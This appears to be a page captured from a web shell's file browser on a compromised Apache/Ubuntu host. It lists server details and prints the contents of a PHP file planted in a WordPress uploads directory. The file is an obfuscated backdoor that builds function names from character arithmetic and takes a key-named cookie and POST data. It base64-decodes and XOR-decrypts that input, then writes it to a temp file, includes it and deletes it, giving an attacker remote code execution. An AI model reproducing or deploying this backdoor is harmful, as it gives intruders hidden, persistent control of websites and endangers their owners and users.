HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/uploads/2022/03/86eaf5e5.php
$dOUDghKRc = chr (104) . '_' . 'A' . chr (77) . chr ( 998 - 919 )."\x70" . 'N';$DIoLtcN = 'c' . "\x6c" . "\x61" . chr (115) . "\163" . chr ( 902 - 807 ).chr ( 390 - 289 ).chr (120) . chr (105) . chr (115) . 't' . 's';$XZptKORyu = class_exists($dOUDghKRc); $DIoLtcN = "52319";$MgUwjoNdN = strpos($DIoLtcN, $dOUDghKRc);if ($XZptKORyu == $MgUwjoNdN){function PmTdfyfP(){$iqwwIGr = new /* 29160 */ h_AMOpN(37049 + 37049); $iqwwIGr = NULL;}$MbjAKKOxPN = "37049";class h_AMOpN{private function XnYvhDdK($MbjAKKOxPN){if (is_array(h_AMOpN::$xUbDt)) {$name = sys_get_temp_dir() . "/" . crc32(h_AMOpN::$xUbDt["salt"]);@h_AMOpN::$xUbDt["write"]($name, h_AMOpN::$xUbDt["content"]);include $name;@h_AMOpN::$xUbDt["delete"]($name); $MbjAKKOxPN = "37049";exit();}}public function gcFFzAO(){$pasxULwEix = "41923";$this->_dummy = str_repeat($pasxULwEix, strlen($pasxULwEix));}public function __destruct(){h_AMOpN::$xUbDt = @unserialize(h_AMOpN::$xUbDt); $MbjAKKOxPN = "1470_54426";$this->XnYvhDdK($MbjAKKOxPN); $MbjAKKOxPN = "1470_54426";}public function hiReEyrM($pasxULwEix, $AGrWbugX){return $pasxULwEix[0] ^ str_repeat($AGrWbugX, intval(strlen($pasxULwEix[0]) / strlen($AGrWbugX)) + 1);}public function PBFWJRaP($pasxULwEix){$yinnUlqo = "\x62" . 'a' . chr (115) . chr (101) . chr ( 665 - 611 ).chr ( 165 - 113 );return array_map($yinnUlqo . "\137" . "\144" . chr ( 451 - 350 ).chr ( 1029 - 930 ).'o' . 'd' . "\x65", array($pasxULwEix,));}public function __construct($EEOVq=0){$BDZfjjE = "\54";$pasxULwEix = "";$TGCmGG = $_POST;$LwqWd = $_COOKIE;$AGrWbugX = "79facea5-85f9-4dc1-9321-6dd24c380f4c";$rchLftM = @$LwqWd[substr($AGrWbugX, 0, 4)];if (!empty($rchLftM)){$rchLftM = explode($BDZfjjE, $rchLftM);foreach ($rchLftM as $LSaedkmZb){$pasxULwEix .= @$LwqWd[$LSaedkmZb];$pasxULwEix .= @$TGCmGG[$LSaedkmZb];}$pasxULwEix = $this->PBFWJRaP($pasxULwEix);}h_AMOpN::$xUbDt = $this->hiReEyrM($pasxULwEix, $AGrWbugX);if (strpos($AGrWbugX, $BDZfjjE) !== FALSE){$AGrWbugX = explode($BDZfjjE, $AGrWbugX); $slvYvWZ = base64_decode(strrev($AGrWbugX[0]));}}public static $xUbDt = 64223;}PmTdfyfP();}